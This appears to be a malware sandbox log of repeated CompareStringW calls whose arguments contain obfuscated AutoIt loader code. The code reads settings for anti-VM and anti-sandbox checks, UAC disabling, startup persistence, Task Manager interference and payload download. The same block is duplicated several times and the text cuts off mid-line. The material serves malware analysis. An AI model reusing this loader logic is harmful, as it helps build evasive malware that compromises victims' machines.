'')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then\r\n", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.201] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then\r\n\x09", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.201] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="00000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then\r\n\x09\x09", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.201] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then\r\n\x09\x09_", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.201] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal 